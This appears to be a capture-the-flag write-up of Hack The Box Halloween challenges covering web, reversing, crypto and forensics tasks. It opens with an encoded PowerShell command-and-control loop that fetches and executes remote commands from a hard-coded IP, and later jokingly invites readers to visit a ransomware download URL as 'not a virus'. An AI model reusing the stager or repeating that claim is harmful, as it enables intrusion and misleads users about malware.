JABzAD0AJwA3ADcALgA3ADQALgAxADkAOAAuADUAMgA6ADgAMAA4ADAAJwA7ACQAaQA9ACcAZAA0ADMAYgBjAGMANgBkAC0AMAA0ADMAZgAyADQAMAA5AC0ANwBlAGEAMgAzAGEAMgBjACcAOwAkAHAAPQAnAGgAdAB0AHAAOgAvAC8AJwA7ACQAdgA9AEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAIAAtAFUAcgBpACAAJABwACQAcwAvAGQANAAzAGIAYwBjADYAZAAgAC0ASABlAGEAZABlAHIAcwAgAEAAewAiAEEAdQB0AGgAbwByAGkAegBhAHQAaQBvAG4AIgA9ACQAaQB9ADsAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQB7ACQAYwA9ACgASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0AVQByAGkAIAAkAHAAJABzAC8AMAA0ADMAZgAyADQAMAA5ACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACIAQQB1AHQAaABvAHIAaQB6AGEAdABpAG8AbgAiAD0AJABpAH0AKQA7AGkAZgAgACgAJABjACAALQBuAGUAIAAnAE4AbwBuAGUAJwApACAAewAkAHIAPQBpAGUAeAAgACQAYwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAAgAC0ARQByAHIAbwByAFYAYQByAGkAYQBiAGwAZQAgAGUAOwAkAHIAPQBPAHUAdAAtAFMAdAByAGkAbgBnACAALQBJAG4AcAB1AHQATwBiAGoAZQBjAHQAIAAkAHIAOwAkAHQAPQBJAG4AdgBvAGsAZQAtAFIAZQBzAHQATQBlAHQAaABvAGQAIAAtAFUAcgBpACAAJABwACQAcwAvADcAZQBhADIAMwBhADIAYwAgAC0ATQBlAHQAaABvAGQAIABQAE8AUwBUACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACIAQQB1AHQAaABvAHIAaQB6AGEAdABpAG8AbgAiAD0AJABpAH0AIAAtAEIAbwBkAHkAIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAkAGUAKwAkAHIAKQAgAC0AagBvAGkAbgAgACcAIAAnACkAfQAgAHMAbABlAGUAcAAgADAALgA4AH0ASABUAEIAewA1AHUAcAAzAHIAXwAzADQANQB5AF8AbQA0AGMAcgAwADUAfQA=

This was obviously base64 encoded, so I quickly decoded it:

Base64 decoding the ViperMonkey output.

Flag: HTB{5up3r_345y_m4cr05}


Day 4

Web/Easy – Juggling Facts

An organization seems to possess knowledge of the true nature of pumpkins. Can you find out what they honestly know and uncover this centuries-long secret once and for all?

This challenge provides a web server written in PHP and the source code for testing locally.

The web server shows different facts about pumpkins and the user is able to switch the fact type through three buttons.

Pumpkin Facts website.

The source code contains the following files and folders:

Files and Folders

Six files are relevant to find the flag:

1. The entrypoint.sh shows that the Flag is in the database using the fact_type “secrets”.

entrypoint.sh

2. /views/index.php shows that different facts are loaded asynchronously.

/views/index.php

3. /static/js/index.js shows that facts are loaded using a POST request to /api/getfacts using a json object containing the “type”.

/static/js/index.js

4. The /index.php shows which controller is used when the /api/getfacts route is requested.

index.php

5. The /controllers/IndexController.php shows how the json object is handled.

/controllers/IndexController.php

6. The /models/FactModel.php shows how the facts are retrieved from the database.

/models/FactModel.php

With all that in mind, I analyzed the behavior of the buttons and their requests and realized that just pressing the “secrets” button would not work.

This is because of lines 24 to 27 in the IndexController.php since that only allowed accessing the “secrets” from localhost. Or more specifically: If the “type” in the json is exactly “secrets”, it only works from localhost. If that check was not there, the switch statement in line 29 would get the secrets.

That switch case is where the vulnerability lies. PHPs switch statement does not check the type of the variable strictly. While line 24 checks with type using three equality signs (===), the switch statement only checks a variable without checking the type. Combined with the fact that a non-empty string evaluates to “true” in most programming languages and the fact that the “secrets” case is the first in the switch statement makes it so that when the boolean “true” is sent to the IndexController, the check in line 24 does not equal true, because “true” is not “secrets”, but the case of ‘secrets’ in line 31 does evaluate to true because PHP does not see the difference between a non-empty string (‘secrets’) and a boolean true.

See: https://stackoverflow.com/a/3525632

Therefore, sending { “type”: true } to “POST /api/getfacts” is all that’s needed to get the flag.

Sending the payload with BurpSuite.
Seeing the flag.

Flag: HTB{sw1tch_stat3m3nts_4r3_vuln3r4bl3!!!}


Pwn/Easy – Spooky Time [NOT SOLVED]

Everyone loves a good jumpscare, especially kids or the person who does it.. Try to scare them all!

This challenge provides a server to connect to and the source code to test locally.

When connecting to the server, the task is to input something spooky. Whatever is entered is cut after the 11th character. If 11 or fewer characters are put in, a second chance to input something is given. If more than 11 characters are put in, the characters after the 11th one are automatically used as input for the second chance.

The second chance can have a maximum of 299 characters as is evident from the code and through testing. Also, whenever a new connection is made to the server, the ASCII art has a different color.

Using more than 11 characters as input.
Excerpt of the code. Lines 47 and 50 show the length limitations.

The flag is provided in the form of a text file, so my assumption was to issue some server commands through a string buffer overflow to print the flag contents.

Doing some research on that and how to check and exploit such vulnerabilities with pwntools, I found “GOT overwrite”: https://blog.pwntools.com/posts/got-overwrite/

To check for that vulnerability, I used pwntool’s checksec.

Using pwntool’s checksec to check for GOT overwrite vulnerability.

It’s important here that the binary does not have RELRO.

The article above also provides a sample exploitation script. Another helpful example: https://github.com/Gallopsled/pwntools-tutorial/blob/master/walkthrough/elf-symbols-got-overwrite/exploit.py

I could not solve this challenge in time, tough.

Flag:


Reversing/Easy – Ouija

You’ve made contact with a spirit from beyond the grave! Unfortunately, they speak in an ancient tongue of flags, so you can’t understand a word. You’ve enlisted a medium who can translate it, but they like to take their time…

This challenge provides a single binary file to analyze locally.

As always, I started getting the “strings” from the file.

Excerpt of ouija binary.

What immediately caught my attention was this string:

ZLT{Svvafy_kdwwhk_lg_qgmj_ugvw_escwk_al_wskq_lg_ghlaearw_dslwj!}

This time, CyberChef’s magic function did not give me a result directly, but since the special characters like “{“, “_”, and “!” were all unaffected by the encoding, I assumed it would just be a simple ROT13 encoding.

CyberChef decoding the string using ROT13.

Flag: HTB{Adding_sleeps_to_your_code_makes_it_easy_to_optimize_later!}


Crypto/Easy – Whole Lotta Candy

In a parallel universe, “trick-or-treat” is played by different rules. As technologies became more advanced and the demand for security researchers increased, the government decided to incorporate security concepts into every game and tradition. Instead of candy, kids have the choice of selecting a AES mode and encrypting their plaintext. If they somehow manage to find the FLAG, they get candy. Can you solve this basic problem for the toddlers of this universe?

This challenge provides a server to connect to which acts as an encryption API, as well as the source code for local testing.

Interacting with the encryption API.

The API is pretty limited: A mode of encryption can be chosen and either the flag or a custom plaintext can be encrypted. When something is encrypted, the ciphertext is printed.

The source code contains two files: encrypt.py which holds the encryption methods, and server.py which handles the user interaction.

The key for any encryption is created randomly and is not printed.

encrypt.py

Only the ciphertext is printed, the code is pretty short in general, the flag is not included/referenced in the code, and the encryption methods are implemented in the cipher.encrypt() function, which is why I thought they might contain a vulnerability that can be exploited by using a certain combination of plaintext and encryption mode.

So I tried to figure out the encryption mode first by researching if any of them in this specific implementation would be vulnerable. Apparently, CTR using “counter” instead of a random IV like the others is vulnerable to some degree: https://crypto.stackexchange.com/questions/33846/is-regular-ctr-mode-vulnerable-to-any-attacks

The idea is pretty simple: The “counter” is the same for the flag and for the plaintext instead of being generated randomly for each encryption. Knowing both cipher texts as well as one of the plain texts, maybe the other plaintext (the flag) could be retrieved. This is indeed possible because of how XOR is used in AES. Read more about it here: https://book-of-gehn.github.io/articles/2018/12/04/Fixed-Nonce-CTR-Attack.html and here: https://crypto.stackexchange.com/a/14785

Basically, if XOR is applied on one of the cipher texts using the other cipher text as the key, then the result can be used as the key for the known plaintext. XOR, as the name suggests, needs the hex ciphers in binary representation: https://ctf101.org/cryptography/what-is-xor/

After fiddling with that idea using pwntools for some hours, my final code looked like this:

Using pwntools to interact with the encryption API.

What’s important is that the plaintext is long enough to cover the flag and that the plaintext is the same when XORing the flag at the end. The plaintext might be longer than in my code and it might deviate after the flag is covered, but then you might as well use a shorter plaintext.

The code resulted in this server output:

Server output and flag decryption.

Flag: HTB{KnOWN_pla1N737x7_a77aCk_l19h75_7H3_wAY_7hroU9H_mANy_Mod3z}


Forensics/Easy – POOF

In my company, we are developing a new python game for Halloween. I’m the leader of this project; thus, I want it to be unique. So I researched the most cutting-edge python libraries for game development until I stumbled upon a private game-dev discord server. One member suggested I try a new python library that provides enhanced game development capabilities. I was excited about it until I tried it. Quite simply, all my files are encrypted now. Thankfully I manage to capture the memory and the network traffic of my Linux server during the incident. Can you analyze it and help me recover my files? To get the flag, connect to the docker service and answer the questions.

WARNING! Do not try to run the malware on your host. It may harm your computer!

http://138.68.188.84/forensics_poof.zip

This challenge provides a web server to connect to that basically asks some questions and reveals the flag when all questions are answered correctly. The challenge description links to a file that has to be analyzed to be able to answer the questions.

Connecting to the server using Netcat.

The downloadable zip archive contains 4 files:

  1. candy_dungeon.pdf.boo
  2. mem.dmp
  3. poof_capture.pcap
  4. Ubuntu_4.15.0-184-generic_profile.zip

For the sake of this write-up, I’m writing down the questions in the order they are asked, even if I may have investigated the files in a different order:

Which is the malicious URL that the ransomware was downloaded from? (for example: http://maliciousdomain/example/file.extension)

For this one, I opened poof_capture.pcap with Wireshark and followed the TCP stream to find the URL.

poof_capture.pcap – TCP stream

So the Host is “files.pypi-install.com” and the location is “/packages/a5/61/caf3af6d893b5cb8eae9a90a3054f370a92130863450e3299d742c7a65329d94/pygaming-dev-13.37.tar.gz”. Therefore, the URL is: “http://files.pypi-install.com/packages/a5/61/caf3af6d893b5cb8eae9a90a3054f370a92130863450e3299d742c7a65329d94/pygaming-dev-13.37.tar.gz“. I advise you all to visit that URL for yourself. It’s not a virus.

Answer: http://files.pypi-install.com/packages/a5/61/caf3af6d893b5cb8eae9a90a3054f370a92130863450e3299d742c7a65329d94/pygaming-dev-13.37.tar.gz

What is the name of the malicious process? (for example: malicious)

I installed and used volatility to analyze the mem.dmp using the custom profile.

Running volatility on mem.dmp.

Please note that I had some version issues with python2 and python3, which is why it looks a bit wanky. This is because the custom profile that was appended (Ubuntu_4.15.0-184-generic_profile.zip) could not be used with volatility3 and I had to install volatility2 for this CTF.

Anyways, the culprit downloaded stuff from the URL that could be seen in Wireshark, opened the .tar.gz file, changed the directory into it, listed all files, and finally ran ./configure.

Answer: configure

Provide the md5sum of the ransomware file.

For this, I downloaded the file using “Wireshark > File > Export Object > HTTP > Choose the file > Save”, which saved a “pygaming-dev-13.37.tar.gz”. Then I extracted the file similar to how the culprit did it and checked the md5sum.

Checking md5sum of ./configure.

Answer: 7c2ff873ce6b022663a1f133383194cc

Which programming language was used to develop the ransomware? (for example: nim)

Using “strings” von ./configure revealed some strings that strongly hint at python.

Using “strings” on ./configure.

Answer: python

After decompiling the ransomware, what is the name of the function used for encryption? (for example: encryption)

To decompile the ./configure binary file I tried using Ghidra, but since I rarely used that before, I was a bit overwhelmed and searched for a tool that would simply decompile a python binary specifically.

What did the trick for me was this one: https://github.com/extremecoders-re/pyinstxtractor

Using the python extractor to extract python code.

However, to also decompile the extracted configure.pyc, I needed a decompiler. Pyinstxtractor suggests using “decompyle6” (https://github.com/rocky/python-uncompyle6/), so I had to install anaconda and Python 3.8 because decompile is not working with Python >= 3.9. But after setting it up, it worked like a charm.

uncompyle6 path/to/configure_extracted/configure.pyc > decompiled.py
Excerpt of the decompiled configure.pyc.

The keywords “key”, “AES”, and “cipher” strongly suggest that “mv18jiVh6TJI9lzY” is the encryption function.

Answer: mv18jiVh6TJI9lzY

Decrypt the given file, and provide its md5sum.

To decrypt the candy_dungeon.pdf.boo file, I basically reverted what is done in the encryption function using this guide: https://pycryptodome.readthedocs.io/en/latest/src/cipher/aes.html

from Crypto.Cipher import AES

data = open("candy_dungeon.pdf.boo", 'rb').read()

key = 'vN0nb7ZshjAWiCzv'
iv = b'ffTC776Wt59Qawe1'
cipher = AES.new(key.encode("utf8"), AES.MODE_CFB, iv)
ct = cipher.decrypt(data)

open("candy_dungeon.pdf", 'wb').write(ct)

The resulting file was an instruction for a game that looked like this:

Decrypted file (1/2)
Decrypted file (2/2)

However, I was only interested in the md5sum.

Getting the md5sum of the decrypted file.

Answer: 3bc9f072f5a7ed4620f57e6aa8d7e1a1

Finally, to put it all together and get the flag, I gave all the answers to the server.

Answering all questions correctly.

Flag: HTB{n3v3r_tru5t_4ny0n3_3sp3c14lly_dur1ng_h4ll0w33n}


Day 5

Web/Medium – Cursed Secret Party [NOT SOLVED]

You’ve just received an invitation to a party. Authorities have reported that the party is cursed, and the guests are trapped in a never-ending unsolvable murder mystery party. Can you investigate further and try to save everyone?

I didn’t have time to solve this challenge.

Flag:


Pwn/Medium – Finale [NOT SOLVED]

It’s the end of the season and we all know that the Spooktober Spirit will grant a souvenir to everyone and make their wish come true! Wish you the best for the upcoming year!

I didn’t have time to solve this challenge.

Flag:


Reversing/Medium – Secured Transfer

Ghosts have been sending messages to each other through the aether, but we can’t understand a word of it! Can you understand their riddles?

This challenge provides two files: One PCAP file and a binary.

Using “strings” on the binary revealed some readable information, but nothing that looked like a flag or that could lead to a flag. One interesting string was “someinitialvalue”, tough.

Using “strings” on the binary.

Opening the PCAP, I realized there really wasn’t much to see either:

Opening the PCAP in Wireshark.

Th only string of interest was a HEX code in the data of a request: “5f558867993dccc99879f7ca39c5e406972f84a3a9dd5d48972421ff375cb18c”.

I assumed this HEX value would have the flag encoded, but didn’t know how to get there and CyberChef didn’t find anything for me, either.

So I used Ghidra to see if I could find a hint on how the Flag was encoded, and indeed I found something.

Opening the binary with Ghidra.

Apparently, the flag was encoded using AES with CBC mode and 256 bits. The “someinitialvalue” might be the IV then, but I also needed the key to be able to decrypt the HEX value. For that, I searched through the functions to find where the encryption was called.

Searching through the functions to find the encryption call.

In the function named “FUN_00101529” I found the reference to “EVP_EncryptInit_ex” and also saw the string “someinitialvalue” again in line 79. That string was used as “local_48” in conjunction with “local_40” and “local_38”, so I assumed one of those might be the key. The “EVP_EncryptInit_ex” function had the “key” argument as the second to last argument and the “iv” as the last, so I figured that “local_38” would hold the literal key to decrypting the flag.

However, local_38 was initialized as just “s”, which was not a valid key. But that “s” was followed by a bunch of byte variables that all contained further characters.

Some bytes.

The order those should be in was declared above and since I didn’t know any better, I wrote them down manually. Ghidra translated them for me on mouseover.

The resulting string was “supersecretkeyusedforencryption!” and boy was I glad this confirmed I was doing the correct thing correctly. For the decryption, I simply used an online tool this time: https://www.devglan.com/online-tools/aes-encryption-decryption

Base64 decoding that: HTB{vryS3CuR3_F1L3_TR4nsf3r}

Flag: HTB{vryS3CuR3_F1L3_TR4nsf3r}


Crypto/Medium – AHS512 [NOT SOLVED]

The most famous candy maker in town has developed a secret formula to make sensational and unique candies by just giving the name of the candy. He even added a pinch of randomness to his algorithm to make it even more interesting. As his trusted friend and security enthousiast he has asked you to test it for him. Can you find a bug?

I didn’t have time to solve this challenge.

Flag:


Forensics/Medium – Downgrade

During recent auditing, we noticed that network authentication is not forced upon remote connections to our Windows 2012 server. That led us to investigate our system for suspicious logins further. Provided the server’s event logs, can you find any suspicious successful login?

This challenge provides a server to connect to that asks some questions and reveals the flag when every question is answered correctly. To answer the questions, 113 EVTX files are provided.

To open these files, I simply double-clicked them in Windows 11, which opened them in Windows Event Viewer.

The questions were as follows:

1. Which event log contains information about logon and logoff events? (for example: Setup)

I hoped this was a standard file because I really didn’t want to look through all 113 files manually, and I was in luck: https://www.ultimatewindowssecurity.com/securitylog/book/page.aspx?spid=chapter5

Security.evtx opened in Event Viewer

Answer: security

2. What is the event id for logs for a successful logon to a local computer? (for example: 1337)

In the screenshot above, multiple Logon events can be seen. I checked those with different Event IDs until I found one with a successful logon, which was the first one already:

Successful Logon event

The Event ID 4648 was for “A logon was attempted using explicit credentials”.

Answer: 4624

3. Which is the default Active Directory authentication protocol? (for example: http)

This can easily be solved by googling the question.

Answer: kerberos

4. Looking at all the logon events, what is the AuthPackage that stands out as different from all the rest? (for example: http)

About the Authentication Package: https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4776

AutheticationPackageName

Usually, the name of the package in the logs is “Negotiate”. To check that this is the correct idea, I filtered for all AuthenticationPackageNames first and then for only those that equal “Negotiate” and realized that there was in fact a discrepancy. To filter for something “not” having a specific value, “Suppress” can be used:

<QueryList>
  <Query Id="0" Path="file://C:\Users\micha\Downloads\day5\Logs\Security.evtx">
    
<Select Path="file://C:\Users\micha\Downloads\day5\Logs\Security.evtx">*[System[(EventID=4624)]]</Select>
    
<Suppress Path="file://C:\Users\micha\Downloads\day5\Logs\Security.evtx">*[EventData[Data='Negotiate']]</Suppress>
  
</Query>
</QueryList>

That takes all Logon events but filters out those that use “Negotiate”.

Logon events with different AuthPackage.

Answer: NTLM

5. What is the timestamp of the suspicious login (yyyy-MM-ddTHH:mm:ss) UTC? (for example, 2021-10-10T08:23:12)

Filtering the Logons by date and time, I thought I had it already:

Filtering NTLM Logons by date and time.

But that wasn’t the correct date. Or rather, it wasn’t the correct time. Since it was only 52 events, I skimmed through them manually to see any logon that seemed off, and even though all of them had pretty varying results, one was particularly unique:

Suspicious Logon Event

That Logon had a custom Workstation Name of “kali” which indicates a Kali Linux OS. However, that date and time were also incorrect and I did some more digging until I realized that the time might be off by some hours due to UTC and my local system time. So the correct time in UTC would be 2 hours earlier than shown.

Answer: 2022-09-28T13:10:57

Those were all questions.

Answering all questions about the Events.

Flag: HTB{4n0th3r_d4y_4n0th3r_d0wngr4d3…}


All in all, I got 21 of 25 flags and felt like learning a year worth of tools, functions, and concepts. That’s why I love CTFs: They push me into digging into something for hours without rest. I’m going to be honest: I spent 10 hours a day (except for the last day) solving these challenges as I’m fairly new to CTFs in general. Most of the challenges are labeled as “easy”, but that only means they require a few steps to solve as long as you know what tools and methods to use. If you have never heard of some of the vulnerabilities, these challenges can be tough.

So that concludes my write-up. Thank you to Hack The Box for organizing it!